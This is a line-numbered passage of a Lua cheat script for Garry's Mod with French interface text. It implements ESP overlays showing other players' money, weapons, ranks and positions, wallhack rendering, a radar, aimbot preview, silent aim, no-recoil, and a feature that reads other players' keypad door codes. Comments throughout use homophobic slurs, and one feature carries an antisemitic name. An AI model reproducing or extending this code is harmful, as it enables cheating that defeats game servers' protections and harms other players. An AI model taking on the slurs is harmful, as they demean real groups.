  2774. if(v:GetActiveWeapon():IsValid()) then
  2775. draw.SimpleTextOutlined( v:GetActiveWeapon():GetClass(), "DermaDefault", pos.x, pos.y -18, teamcol, 1, 0, 1, Color(0,0,55,255) )
  2776. end
  2777. end
  2778. if ZNX.Vars.ArgentESP then
  2779. local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0
  2780. draw.SimpleTextOutlined( playermoney.."�", "DermaDefault", pos.x, pos.y - 28, teamcol, 1, 0, 1, Color(0,0,55,255) )
  2781. end
  2782. if ZNX.Vars.PKVelocity then
  2783. local velpos = ((v:GetPos() + Vector(0, 0, 45)) + v:GetVelocity() * 0.3 ):ToScreen()
  2784. surface.SetDrawColor(teamcol)
  2785. surface.SetMaterial( leadermat )
  2786. surface.DrawTexturedRect(velpos.x - 15, velpos.y - 15, 30, 30)
  2787. surface.SetDrawColor(teamcol2)
  2788. surface.DrawTexturedRect(velpos.x - 10, velpos.y - 10, 20, 20)
  2789. end
  2790. -- the fag is dead, i dunno why i did a second logic block for this, im just retarded i guess
  2791. elseif ZNX.Vars.ShowDead then
  2792. surface.SetDrawColor(Color(255,255,255,255))
  2793. surface.DrawLine(pos.x - 15, pos.y - 15, pos.x + 15, pos.y + 15)
  2794. surface.DrawLine(pos.x + 15, pos.y - 15, pos.x - 15, pos.y + 15)
  2795. if ZNX.Vars.VNames then draw.SimpleTextOutlined( v:Name(), "DermaDefault", pos.x, pos.y - 62, teamcol, 1, 0, 1, Color(0,0,55,255) ) end
  2796. if ZNX.Vars.ShowFriends and ZNX.IsFriend( v ) then
  2797. draw.SimpleTextOutlined( "[AMI]", "DermaDefault", pos.x, pos.y - 74, Color(0,255,0,255), 1, 0, 1, Color(0,0,55,255) )
  2798. end
  2799. if ZNX.Vars.ShowRanks and !(admintext == "user" or admintext == "guest" or admintext == "player") then
  2800. draw.SimpleTextOutlined( "["..admintext.."]", "DermaDefault", pos.x, pos.y -90, Color(255,100,0,255), 1, 0, 1, Color(50,0,0,255) )
  2801. end
  2802. if ZNX.Vars.ShowDistance then
  2803. draw.SimpleTextOutlined( ZNX.ToMetric(me:GetPos():Distance(v:GetPos())).."m", "DermaDefault", pos.x, pos.y - 51, teamcol, 1, 0, 1, Color(0,0,55,255) )
  2804. end
  2805. end
  2806. end -- end of players loop
  2807. if ZNX.Vars.ESPProps then
  2808. for k, v in pairs(ents.FindByClass("prop_physics")) do
  2809. if ZNX.ToMetric( me:GetPos():Distance( v:GetPos() ) ) > ZNX.NumberVars.VisionDist then continue end
  2810. local pos = (v:LocalToWorld(v:OBBCenter())):ToScreen()
  2811. surface.SetDrawColor(Color(150,150,150,255))
  2812. surface.DrawOutlinedRect(pos.x - 10, pos.y - 10, 20, 20)
  2813. local aligndist = surface.GetTextSize( ZNX.ToMetric(me:GetPos():Distance(v:GetPos())).."m" )
  2814. draw.SimpleTextOutlined( ZNX.ToMetric(me:GetPos():Distance(v:GetPos())).."m", "DermaDefault", pos.x - (aligndist / 2), pos.y + 12, Color(200,200,200,255), 0, 0, 1, Color(0,0,55,255) )
  2815. end
  2816. end
  2817. if ZNX.Vars.Entfinder then
  2818. for k, v in pairs(ents.GetAll()) do
  2819. if ZNX.ToMetric( me:GetPos():Distance( v:GetPos() ) ) > ZNX.NumberVars.VisionDist then continue end
  2820. local drawing = false
  2821. for i,p in pairs(ZNX.MarkedEnts) do
  2822. if v:GetClass() == p then
  2823. drawing = true
  2824. end
  2825. end
  2826. if drawing then
  2827. local pos = (v:GetPos()+Vector(0,0,5)):ToScreen()
  2828. draw.SimpleTextOutlined( tostring("["..v:GetClass().."]"), "ESP", pos.x-30 , pos.y - 20, Color(235,0,0,255), 0, 0, 1, Color(0,0,0,255) )
  2829. end
  2830. end
  2831. end
  2832. end -- end of showesp
  2833. if ZNX.Freecam then
  2834. local CamData = {}
  2835. CamData.origin = ZNX.FreecamCoordinates.pos
  2836. CamData.angles = ZNX.FreecamCoordinates.ang
  2837. CamData.x = ZNX.NumberVars.MirrorX
  2838. CamData.y = ZNX.NumberVars.MirrorY
  2839. CamData.w = ScrW() / (ZNX.NumberVars.MirrorSize / 10)
  2840. CamData.h = ScrH() / (ZNX.NumberVars.MirrorSize / 10)
  2841. CamData.drawviewmodel = false
  2842. CamData.drawhud = false
  2843. CamData.fov = 90
  2844. render.RenderView( CamData )
  2845. end
  2846. if ZNX.Vars.Mirror then
  2847. local CamData = {}
  2848. if ZNX.NumberVars.MirrorAxis == 0 then
  2849. CamData.angles = Angle(0,me:EyeAngles().yaw - 180,0)
  2850. elseif ZNX.NumberVars.MirrorAxis == 1 then
  2851. CamData.angles = Angle(me:EyeAngles().pitch,me:EyeAngles().yaw - 180,0)
  2852. else
  2853. CamData.angles = Angle(-me:EyeAngles().pitch,me:EyeAngles().yaw - 180,0)
  2854. end
  2855. CamData.origin = me:GetPos()+Vector(0,0,50)
  2856. CamData.x = ZNX.NumberVars.MirrorX
  2857. CamData.y = ZNX.NumberVars.MirrorY
  2858. CamData.w = ScrW() / (ZNX.NumberVars.MirrorSize / 10)
  2859. CamData.h = ScrH() / (ZNX.NumberVars.MirrorSize / 10)
  2860. CamData.drawviewmodel = false
  2861. CamData.drawhud = false
  2862. CamData.fov = 90
  2863. render.RenderView( CamData )
  2864. end
  2865. if ZNX.Vars.PreviewTarget then
  2866. local t = ZNX.AimbotPreviewTarget
  2867. if isvector( t ) then
  2868. local p = t:ToScreen()
  2869. surface.SetDrawColor(Color(200,0,0,255))
  2870. surface.DrawRect(p.x-1, p.y + 2, 2, 5)
  2871. surface.DrawRect(p.x-1, p.y - (2 + 5), 2, 5)
  2872. surface.DrawRect(p.x + 2, p.y-1, 5, 2)
  2873. surface.DrawRect(p.x - (2 + 5), p.y-1, 5, 2)
  2874. end
  2875. end
  2876. if ZNX.Vars.Radar then
  2877. local size = ZNX.NumberVars.RadarSize
  2878. local fov = ZNX.NumberVars.RadarZoom
  2879. local x = ZNX.NumberVars.RadarX
  2880. local y = ZNX.NumberVars.RadarY
  2881. surface.SetDrawColor(ZNX.DefaultScheme.r, ZNX.DefaultScheme.g, ZNX.DefaultScheme.b, ZNX.NumberVars.RadarAlpha)
  2882. surface.DrawRect(x - 2, y - 2, size + 4, size + 4)
  2883. surface.SetDrawColor(Color(20, 20, 20, ZNX.NumberVars.RadarAlpha))
  2884. surface.DrawRect(x, y, size, size)
  2885. surface.SetDrawColor(Color(30, 30, 30, 255))
  2886. surface.DrawLine(x, y, x + (size / 2), y + (size / 2))
  2887. surface.DrawLine(x + size, y, x + (size / 2), y + (size / 2))
  2888. surface.SetDrawColor(ZNX.DefaultScheme)
  2889. surface.DrawRect((x -2)+ (size/2), (y-2) + (size/2), 4, 4)
  2890. for key, ply in pairs(player.GetAll()) do
  2891. local teamcol = team.GetColor(ply:Team())
  2892. if ply != me and !ZNX.IsDead( ply ) then
  2893. local lx = me:GetPos().x - ply:GetPos().x
  2894. local ly = me:GetPos().y - ply:GetPos().y
  2895. local ang = EyeAngles().y
  2896. local cos = math.cos(math.rad(-ang))
  2897. local sin = math.sin(math.rad(-ang))
  2898. local px = (ly * cos) + (lx * sin)
  2899. local py = (lx * cos) - (ly * sin)
  2900. px = px / fov
  2901. py = py / fov
  2902. px = math.Clamp(px, -(size * 0.50), size * 0.50)
  2903. py = math.Clamp(py, -(size * 0.50), size * 0.50)
  2904. local name = player.GetAll()[key]:Nick()
  2905. draw.SimpleText(name, "default", x + size - (size * 0.50) + px - 13, y + size - (size * 0.50) + py - 7, teamcol, TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  2906. surface.SetDrawColor(teamcol)
  2907. surface.DrawRect(x + size - (size * 0.50) + px, y + size - (size * 0.50) + py, 3, 3)
  2908. end
  2909. end
  2910. end
  2911. function GAMEMODE:HUDDrawTargetID()
  2912. return false
  2913. end
  2914. if ZNX.Vars.Crosshair then
  2915. local degage = {
  2916. ["CHudCrosshair"]=true,
  2917. }
  2918. hook.Add("HUDShouldDraw", "RemovefuckingCrosshair_", function(name)
  2919. if degage[name] then return false end
  2920. end)
  2921. local hitpos = util.TraceLine ({
  2922. start = me:GetShootPos(),
  2923. endpos = me:GetShootPos() + me:GetAimVector() * 4096,
  2924. filter = me,
  2925. mask = MASK_SHOT
  2926. }).HitPos
  2927. local screenpos = hitpos:ToScreen()
  2928. local x = screenpos.x
  2929. local y = screenpos.y
  2930. if not ZNX.NameStealPlayer:KeyDown(IN_ATTACK2) then
  2931. surface.SetDrawColor(Color(0,0,0, 200))
  2932. surface.DrawRect((ScrW() / 2) - 2, (ScrH() / 2) - 2, 4, 4)
  2933. surface.SetDrawColor(Color(175,238,238, 200))
  2934. surface.DrawRect((ScrW() / 2) - 1, (ScrH() / 2) - 1, 2, 2)
  2935. end
  2936. --surface.DrawRect(x-1, y + 6, 2, 20)
  2937. --surface.DrawRect(x-1, y - (6 + 20), 2, 20)
  2938. --surface.DrawRect(x + 6, y-1, 20, 2)
  2939. --surface.DrawRect(x - (6 + 20), y-1, 20, 2)
  2940. if ZNX.CrossHairAlpha > 0 then ZNX.CrossHairAlpha = math.Clamp(ZNX.CrossHairAlpha - 6, 0, 255) end
  2941. surface.SetDrawColor(Color(255, 255, 255, ZNX.CrossHairAlpha))
  2942. surface.DrawLine(x - 12, y + 12, x - 6, y + 6)
  2943. surface.DrawLine(x + 12, y + 12, x + 6, y + 6)
  2944. surface.DrawLine(x - 12, y - 12, x - 6, y - 6)
  2945. surface.DrawLine(x + 12, y - 12, x + 6, y - 6)
  2946. local x = ScrW()*.5
  2947. local y = ScrH()*.57
  2948. target = LocalPlayer():GetEyeTrace().Entity
  2949. if LocalPlayer():Alive() and LocalPlayer():GetActiveWeapon():IsValid() and (target:IsPlayer()) then
  2950. local colhp = math.Clamp(target:Health() * 3, 0, 255)
  2951. local colcomp = Color(255,colhp,0,255)
  2952. draw.DrawText(target:Nick(), "default", x, y -17, team.GetColor(target:Team()), 1)
  2953. draw.DrawText(target:Health().."%", "default", x, y , colcomp, 1)
  2954. end
  2955. else
  2956. hook.Remove("HUDShouldDraw", "RemovefuckingCrosshair_")
  2957. end
  2958. if isvector( ZNX.CurrentBase ) then
  2959. local sc = (ZNX.CurrentBase + Vector( 0, 0, 10 )):ToScreen()
  2960. draw.SimpleText("Alarme", "default", sc.x, sc.y - 42, ZNX.DefaultScheme, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  2961. draw.SimpleText( ZNX.ToMetric( LocalPlayer():GetPos():Distance( ZNX.CurrentBase ) ).."m", "default", sc.x, sc.y - 30, ZNX.DefaultScheme, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  2962. surface.SetDrawColor( Color(205,205,255, 100 ) )
  2963. draw.NoTexture()
  2964. local triangle = {
  2965. { x = sc.x - 10, y = sc.y - 20 },
  2966. { x = sc.x + 10, y = sc.y - 20 },
  2967. { x = sc.x, y = sc.y },
  2968. }
  2969. surface.DrawPoly( triangle )
  2970. end
  2971. if ZNX.Vars.KeypadJew then
  2972. local e = me:GetEyeTrace().Entity
  2973. if IsValid(e) and string.find( e:GetClass(), "Keypad") then
  2974. local text;
  2975. local color;
  2976. if(e.code && e.code != "") then
  2977. text = e.code;
  2978. color = Color( 105, 255, 105, 150 )
  2979. elseif(e.tempCode && e.tempCode != "") then
  2980. text = e.tempCode;
  2981. color = Color( 250, 150, 150, 150 )
  2982. else
  2983. text = "Inconnu"
  2984. color = Color(150,150,150,150)
  2985. end
  2986. -- draw.WordBox( 8, ScrW() / 2, ScrH() / 2, text, "Default", color, Color(255,255,255,255) )
  2987. surface.SetDrawColor( Color( 0,0,50, 150 ) )
  2988. surface.SetMaterial( grad )
  2989. surface.DrawTexturedRect( ScrW() / 2 + 57, ScrH() / 2 - 7, 50, 15 )
  2990. draw.SimpleText(text, "DermaDefault", ScrW() / 2 + 60, ScrH() / 2, color, TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  2991. end
  2992. for k,v in pairs(ents.GetAll()) do
  2993. if IsValid(v) and string.find( v:GetClass(), "Keypad") then
  2994. if v != e and me:GetPos():Distance( v:GetPos() ) < 8000 then
  2995. local pos = v:GetPos():ToScreen()
  2996. if pos.x > 0 and pos.x < ScrW() and pos.y > 0 and pos.y < ScrH() then
  2997. if (v.code && v.code != "") then
  2998. surface.SetDrawColor( Color( 0,0,50, 150 ) )
  2999. surface.SetMaterial( grad )
  3000. surface.DrawTexturedRect( pos.x, pos.y, 50, 15 )
  3001. draw.SimpleText( v.code, "DermaDefault", pos.x + 5, pos.y + 6, Color( 105, 255, 105, 150 ), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  3002. -- draw.WordBox( 8, pos.x-5, pos.y-5, v.code, "Default", Color( 0, 255, 0, 150 ), Color(255,255,255,255) )
  3003. else
  3004. if(v.tempCode && v.tempCode != "") then
  3005. surface.SetDrawColor( Color( 0,0,50, 150 ) )
  3006. surface.SetMaterial( grad )
  3007. surface.DrawTexturedRect( pos.x, pos.y, 50, 15 )
  3008. draw.SimpleText( v.tempCode, "DermaDefault", pos.x + 5, pos.y + 6, Color( 250, 150, 150, 150 ), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  3009. else
  3010. surface.SetDrawColor( Color( 0,0,50, 150 ) )
  3011. surface.SetMaterial( grad )
  3012. surface.DrawTexturedRect( pos.x, pos.y, 50, 15 )
  3013. draw.SimpleText( "Inconnu", "DermaDefault", pos.x + 5, pos.y + 6, Color(150,150,150,150), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  3014. end
  3015. end
  3016. end
  3017. end
  3018. end
  3019. end
  3020. end
  3021. if ZNX.Vars.Bhop then
  3022. local sped = me:GetVelocity():Length()
  3023. draw.SimpleText("V�locit�: "..math.Round( sped ), "DermaDefault", (ScrW() / 2), ScrH() - 60, ZNX.DefaultScheme, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER )
  3024. surface.SetDrawColor( ZNX.DefaultScheme )
  3025. surface.DrawOutlinedRect( (ScrW() / 2) - 100, ScrH() - 50, 200, 10 )
  3026. surface.SetDrawColor( Color( ZNX.DefaultScheme.r, ZNX.DefaultScheme.g, ZNX.DefaultScheme.b, 100 ) )
  3027. surface.DrawRect( (ScrW() / 2) - 100, ScrH() - 50, math.Clamp( (sped / 2000) * 200, 0, 200 ), 10 )
  3028. end
  3029. if ZNX.Vars.WitnessDetector then
  3030. if #ZNX.Witnesses > 0 then
  3031. surface.SetDrawColor( ZNX.DefaultScheme )
  3032. surface.DrawRect( (ScrW() / 2) - 150, 0, 300, (#ZNX.Witnesses * 20) + 30)
  3033. surface.SetDrawColor( Color(0, 0, 0, 250) )
  3034. surface.DrawRect( (ScrW() / 2) - 145, 25, 290, (#ZNX.Witnesses * 20) )
  3035. draw.SimpleText("Ces personnes peuvent vous voir", "DermaDefault", (ScrW() / 2) - 77, 10, Color(255, 255, 255, 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  3036. for k, v in pairs(ZNX.Witnesses) do
  3037. if !v:IsValid() then continue end -- let this pass silently, it only spams briefly when some faggot dcs anyway
  3038. draw.SimpleText(v:Nick(), "DermaDefault", (ScrW() / 2) - 140, 8 + (k * 20), ZNX.GetESPColor( v ) )
  3039. end
  3040. end
  3041. end
  3042. if ZNX.Vars.SpectatorDetector then
  3043. local starty = 0
  3044. if ZNX.Vars.WitnessDetector then starty = (#ZNX.Witnesses * 20) + 35 end
  3045. if ZNX.TheyHaveEyesEverywhere and #ZNX.TheyHaveEyesEverywhere > 0 then
  3046. surface.SetDrawColor( ZNX.DefaultScheme )
  3047. surface.DrawRect( (ScrW() / 2) - 150, starty, 300, (#ZNX.TheyHaveEyesEverywhere * 20) + 30)
  3048. surface.SetDrawColor( Color(0, 0, 0, 250) )
  3049. surface.DrawRect( (ScrW() / 2) - 145, starty + 25, 290, (#ZNX.TheyHaveEyesEverywhere * 20) )
  3050. draw.SimpleText("Ces personnes vous spectate", "DermaDefault", (ScrW() / 2) - 70, starty + 10, Color(255, 255, 255, 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  3051. for k, v in pairs( ZNX.TheyHaveEyesEverywhere ) do
  3052. if !v:IsValid() then continue end -- let this pass silently, it only spams briefly when some faggot dcs anyway
  3053. draw.SimpleText(v:Nick(), "DermaDefault", (ScrW() / 2) - 140, starty + 8 + (k * 20), ZNX.GetESPColor( v ) )
  3054. end
  3055. end
  3056. end
  3057. -- ent scanner
  3058. if ZNX.EntScanner then
  3059. local c = me:GetEyeTrace()
  3060. local screenpos = c.HitPos:ToScreen()
  3061. local x = screenpos.x
  3062. local y = screenpos.y
  3063. local pulse = math.abs( math.sin( CurTime() * 2 ) )
  3064. surface.SetDrawColor( ZNX.DefaultScheme )
  3065. surface.SetMaterial( scanmat )
  3066. surface.DrawTexturedRect( x - (15 + (pulse * 15)), y - (15 + (pulse * 15)), 30 + (pulse * 30), 30 + (pulse * 30) )
  3067. surface.SetDrawColor( ZNX.DefaultScheme2 )
  3068. surface.DrawTexturedRect( x - (12 + (pulse * 12)), y - (12 + (pulse * 12)), 24 + (pulse * 24), 24 + (pulse * 24) )
  3069. if c.Entity and c.Entity:IsValid() then
  3070. ZNX.EntScannerTab = {}
  3071. local e = c.Entity
  3072. ZNX.EntScannerEnt = e
  3073. if e:IsPlayer() then
  3074. table.insert( ZNX.EntScannerTab, e:Nick() )
  3075. table.insert( ZNX.EntScannerTab, {e:SteamID(), Color(255,255,255)} )
  3076. table.insert( ZNX.EntScannerTab, {ZNX.GetRank( e ), Color( 255, 100, 0 )} )
  3077. table.insert( ZNX.EntScannerTab, "Sante: "..e:Health().."% Armure: "..e:Armor().."%" )
  3078. if DarkRP then
  3079. table.insert( ZNX.EntScannerTab, {DarkRP.formatMoney(e:getDarkRPVar("money")) or "$ERROR", Color( 50, 255, 50)} )
  3080. table.insert( ZNX.EntScannerTab, {"Vrai Nom: "..e:SteamName(), Color( 150, 150, 150)} )
  3081. end
  3082. if e:GetActiveWeapon() then table.insert( ZNX.EntScannerTab, "Arme dans sa main: "..(e:GetActiveWeapon():GetClass() or "None" ) ) end
  3083. local weps = {}
  3084. for _, g in pairs( e:GetWeapons() ) do table.insert( weps, g:GetClass() )end
  3085. table.insert( ZNX.EntScannerTab, {table.ToString( weps ), Color(155,155,255)} )
  3086. end
  3087. table.insert( ZNX.EntScannerTab, e:GetClass() )
  3088. table.insert( ZNX.EntScannerTab, e:GetModel() )
  3089. table.insert( ZNX.EntScannerTab, "Distance: "..ZNX.ToMetric(e:GetPos():Distance( me:GetPos() )).."m" )
  3090. end
  3091. local textx, texty = ScrW() / 2 + 50, ScrH() / 2
  3092. for k, v in pairs(ZNX.EntScannerTab) do
  3093. if istable( v ) then
  3094. draw.SimpleTextOutlined( v[1], "default", textx + 40, (texty - 40) + (k * 12), v[2], 0, 0, 1, Color(0,0,0) )
  3095. else
  3096. draw.SimpleTextOutlined( v, "default", textx + 40, (texty - 40) + (k * 12), ZNX.DefaultScheme, 0, 0, 1, Color(0,0,0) )
  3097. end
  3098. end
  3099. end
  3100. ZNX.MemoryDebug["hud"] = gcinfo() - memfootprint
  3101. end
  3102. hook.Add("HUDPaint", "znx_hud", ZNX.Vision)
  3103. ---------------------------------------------- NEW XRAY HERE -------------------------------------------------
  3104.  
  3105. if ZNX.Vars.Xray then
  3106. for k, v in pairs(ents.GetAll()) do
  3107. if ZNX.ToMetric(me:GetPos():Distance(v:GetPos())) > ZNX.NumberVars.XrayDistance then if v:GetColor().a == 100 then v:SetColor(Color(255,255,255,255)) end continue end
  3108. -- set rendermode none?
  3109. if ZNX.Vars.XrayPlayers then
  3110. if v:IsValid() and v:IsPlayer() and v != LocalPlayer() and !ZNX.IsDead( v ) and ZNX.OnScreen( v ) then
  3111. cam.Start3D(EyePos(),EyeAngles())
  3112. if ZNX.Vars.NoChamColours then
  3113. v:SetMaterial(ZNX.mat1)
  3114. v:SetRenderMode(4)
  3115. v:SetColor(xraytrans)
  3116. render.SuppressEngineLighting( true )
  3117. render.MaterialOverride( ZNX.mat1 )
  3118. end
  3119. if ZNX.Vars.PKChams and ZNX.Vars.NoChamColours then render.SetColorModulation( 0, 1, 0 ) render.SetBlend(0.8) else render.SetColorModulation( ZNX.ColScheme.x, ZNX.ColScheme.y, ZNX.ColScheme.z ) render.SetBlend(0.3) end
  3120. v:DrawModel()
  3121. if IsValid( v:GetActiveWeapon() ) then
  3122. if ZNX.Vars.NoChamColours then render.SetColorModulation( ZNX.ColScheme2.x, ZNX.ColScheme2.y, ZNX.ColScheme2.z ) end
  3123. v:GetActiveWeapon():DrawModel()
  3124. end
  3125. render.SetBlend(1)
  3126. render.SuppressEngineLighting( false )
  3127. render.MaterialOverride( )
  3128. -- v:SetColor(Color(255,255,255,255))
  3129. cam.End3D()
  3130. end
  3131. end
  3132. if ZNX.Vars.XrayProps then
  3133. if v:IsValid() and v:GetClass() == "prop_physics" and ZNX.OnScreen( v ) then
  3134. cam.Start3D(EyePos(),EyeAngles())
  3135. if ZNX.Vars.NoChamColours then
  3136. v:SetMaterial(ZNX.mat1)
  3137. v:SetRenderMode(4)
  3138. v:SetColor(xraytrans)
  3139. render.SuppressEngineLighting( true )
  3140. render.MaterialOverride( ZNX.mat1 )
  3141. end
  3142. if ZNX.Vars.PKChams and ZNX.Vars.NoChamColours then render.SetColorModulation( 1, 0.2, 0 ) render.SetBlend(0.6) else render.SetColorModulation( ZNX.ColScheme2.x, ZNX.ColScheme2.y, ZNX.ColScheme2.z ) render.SetBlend(0.3) end
  3143. v:DrawModel()
  3144. render.SetBlend(1)
  3145. render.SuppressEngineLighting( false )
  3146. render.MaterialOverride( )
  3147. -- v:SetColor(Color(255,255,255,255))
  3148. cam.End3D()
  3149. end
  3150. end
  3151. if ZNX.Vars.XrayEntfinder then
  3152. local drawing = false
  3153. for i,p in pairs(ZNX.MarkedEnts) do
  3154. if v:GetClass() == p then
  3155. drawing = true
  3156. end
  3157. end
  3158. if drawing and ZNX.OnScreen( v ) then
  3159. cam.Start3D(EyePos(),EyeAngles())
  3160. v:SetMaterial(ZNX.mat1)
  3161. v:SetRenderMode(4)
  3162. v:SetColor(xraytrans)
  3163. render.SuppressEngineLighting( true )
  3164. render.MaterialOverride( ZNX.mat1 )
  3165. render.SetColorModulation( ZNX.ColScheme2.x, ZNX.ColScheme2.y, ZNX.ColScheme2.z )
  3166. render.SetBlend(0.3)
  3167. v:DrawModel()
  3168. render.SetBlend(1)
  3169. render.SuppressEngineLighting( false )
  3170. render.MaterialOverride( )
  3171. -- v:SetColor(Color(255,255,255,255))
  3172. cam.End3D()
  3173. end
  3174. end
  3175. end
  3176. end
  3177. --]]
  3178. function ZNX.DrawXrayEntity( ent, col, domat, ghost )
  3179. cam.Start3D( EyePos(), EyeAngles() )
  3180. cam.IgnoreZ( true )
  3181. if domat then render.MaterialOverride( ZNX.Mat1 ) end
  3182. render.SuppressEngineLighting( true )
  3183. render.SetColorModulation( col.r / 255, col.g / 255, col.b / 255 )
  3184. if ghost then render.SetBlend( 0.3 ) end
  3185. ent:DrawModel()
  3186. render.SuppressEngineLighting( false )
  3187. cam.IgnoreZ( false )
  3188. render.MaterialOverride()
  3189. cam.End3D()
  3190. end
  3191. function ZNX.DoXray()
  3192. local me = LocalPlayer()
  3193. if !me or !me:IsValid() or !ZNX.Vars.Xray then return end
  3194. local fags = ents.GetAll()
  3195. -- table.sort( fags, function( a, b ) return a:GetPos():DistToSqr( EyePos() ) > b:GetPos():DistToSqr( EyePos() ) end )
  3196. for k, v in ipairs( fags ) do
  3197. if !ZNX.OnScreen( v, 50 ) or ZNX.ToMetric( me:GetPos():Distance( v:GetPos() ) ) > ZNX.NumberVars.XrayDistance then continue end
  3198. -- players loop
  3199. if ZNX.Vars.XrayPlayers and !Visible(v) and v:IsPlayer() then
  3200. if v == LocalPlayer() or !v:Alive() then continue end
  3201. local teamcol, teamcol2
  3202. if ZNX.Vars.TeamColors then
  3203. teamcol = team.GetColor(v:Team())
  3204. teamcol2 = Color(math.Clamp(teamcol.r - 100, 0, 255), math.Clamp(teamcol.g - 100, 0, 255), math.Clamp(teamcol.b - 100, 0, 255), 255)
  3205. elseif ZNX.Vars.PKChams then
  3206. teamcol = Color( 0, 255, 0 ) teamcol2 = Color( 255, 0, 0 )
  3207. else
  3208. teamcol = ZNX.DefaultScheme teamcol2 = ZNX.DefaultScheme2
  3209. end
  3210. ZNX.DrawXrayEntity( v, teamcol, ZNX.Vars.NoChamColours, !ZNX.Vars.XraySolid )
  3211. local gun = v:GetActiveWeapon()
  3212. if gun and gun:IsValid() then ZNX.DrawXrayEntity( gun, teamcol2, ZNX.Vars.NoChamColours, !ZNX.Vars.XraySolid ) end
  3213. end
  3214. -- props loop
  3215. if ZNX.Vars.XrayProps and v:GetClass() == "prop_physics" then
  3216. local teamcol, teamcol2
  3217. if ZNX.Vars.PKChams then
  3218. teamcol = Color( 0, 255, 0 ) teamcol2 = Color( 255, 0, 0 )
  3219. else
  3220. teamcol = ZNX.DefaultScheme teamcol2 = ZNX.DefaultScheme2
  3221. end
  3222. ZNX.DrawXrayEntity( v, teamcol2, ZNX.Vars.NoChamColours, true )
  3223. end
  3224. -- ents loop
  3225. if ZNX.Vars.XrayEntfinder and table.HasValue( ZNX.MarkedEnts, v:GetClass() ) then
  3226. local teamcol, teamcol2
  3227. if ZNX.Vars.PKChams then
  3228. teamcol = Color( 255, 255, 0 ) teamcol2 = Color( 255, 255, 0 )
  3229. else
  3230. teamcol = ZNX.DefaultScheme teamcol2 = ZNX.DefaultScheme2
  3231. end
  3232. ZNX.DrawXrayEntity( v, teamcol, ZNX.Vars.NoChamColours, true )
  3233. end
  3234. end
  3235. end
  3236. hook.Add( "PreDrawHUD", "AB_NewXray", ZNX.DoXray )
  3237. function ZNX.PKBeamsCore()
  3238. if ZNX.Vars.PKVerticalBeams then
  3239. render.SetMaterial( beammat )
  3240. for k, v in pairs( player.GetAll()) do
  3241. if !v:Alive() or v == LocalPlayer() then continue end
  3242. render.DrawBeam( v:GetPos() + Vector( 0, 0, -2000 ), v:GetPos() + Vector( 0, 0, 2000 ), 50, 0, 1, Color(255,255,255) )
  3243. end
  3244. end
  3245. end
  3246. hook.Add("PostDrawTranslucentRenderables", "znx_beams", ZNX.PKBeamsCore)
  3247. function ZNX.ToggleEntityScanner()
  3248. if !ZNX.EntScanner then
  3249. ZNX.EntScanner = true
  3250. ZNX.ScannerButton1 = ZNX.MakeFloatingButton( ScrW() / 2 - 180, (ScrH() / 2) - 50, "Afficher sur la Console", function() print(ZNX.EntScannerEnt)
  3251. for k, v in pairs( ZNX.EntScannerTab ) do
  3252. if istable( v ) then MsgC( v[2], v[1].."\n" ) else MsgN( v ) end
  3253. end
  3254. end)
  3255. ZNX.ScannerButton2 = ZNX.MakeFloatingButton( ScrW() / 2 - 180, (ScrH() / 2) - 20, "Ajouter a l'ESP", function()
  3256. if table.HasValue( ZNX.MarkedEnts, ZNX.EntScannerEnt:GetClass() ) then ZNX.ChatText( "Deja ajouter!", Color(255,205,205) ) return end
  3257. ZNX.ChatText( "Ajouter "..ZNX.EntScannerEnt:GetClass().." au entit�", Color(255,255,255) )
  3258. table.insert(ZNX.MarkedEnts, ZNX.EntScannerEnt:GetClass())
  3259. end)
  3260. ZNX.ChatText( "Entity Scanner Activer", Color(255,255,255) )
  3261. else
  3262. ZNX.EntScanner = false
  3263. ZNX.ChatText( "Entity Scanner D�sactiver", Color(255,205,205) )
  3264. if ZNX.ScannerButton1 then ZNX.ScannerButton1:Remove() end
  3265. if ZNX.ScannerButton2 then ZNX.ScannerButton2:Remove() end
  3266. end
  3267. end
  3268. ZNX.MouseReleased = false
  3269. function ZNX.ToggleFreeMouse()
  3270. if !ZNX.MouseReleased then
  3271. gui.EnableScreenClicker( true )
  3272. ZNX.MouseReleased = true
  3273. else
  3274. gui.EnableScreenClicker( false )
  3275. ZNX.MouseReleased = false
  3276. end
  3277. end
  3278. concommand.Add("LokiDev_toggle_mouse_cursor", ZNX.ToggleFreeMouse)
  3279. function ZNX.CalcView( ply, pos, angles, fov )
  3280. local me = LocalPlayer()
  3281. if !me:IsValid() or !me:Alive() or me:GetViewEntity() != me or me:InVehicle() then return end
  3282. local tps = {}
  3283. if ZNX.Vars.SilentAim and !ZNX.Vars.Thirdperson and lastoldang and isangle( lastoldang ) then
  3284. tps.origin = me:EyePos()
  3285. tps.angles = lastoldang
  3286. tps.fov = fov
  3287. return tps
  3288. end
  3289. if ZNX.Vars.NoRecoil and !ZNX.Vars.Thirdperson and !ZNX.Enabled then
  3290. -- tps.origin = me:EyePos()
  3291. tps.angles = me:EyeAngles()
  3292. -- tps.fov = fov
  3293. local ply = LocalPlayer()
  3294. local weapon = ply:GetActiveWeapon()
  3295. if weapon.Primary then
  3296. if weapon.Primary.Recoil then
  3297. weapon.Primary.Recoil = 0
  3298. end
  3299. if weapon.Primary.KickUp then
  3300. weapon.Primary.KickUp = 0
  3301. weapon.Primary.KickDown = 0
  3302. weapon.Primary.KickHorizontal = 0
  3303. end
  3304. end
  3305. return tps
  3306. end
  3307. if ZNX.Vars.Thirdperson then
  3308. if ZNX.RenderPanic then return end
  3309. local trace = util.TraceLine( { start = pos - ply:GetForward() * 2, endpos = pos - angles:Forward() * ZNX.NumberVars.TPSDistance, filter = player.GetAll(), mask = MASK_SHOT } )
  3310. tps.origin = trace.HitPos + ply:GetForward() * 20 + ply:GetRight() * ZNX.NumberVars.TPSOffset
  3311. tps.angles = angles
  3312. tps.fov = fov
  3313. return tps
  3314. end
  3315. end
  3316. hook.Add("CalcView", "znx_calcview", ZNX.CalcView)
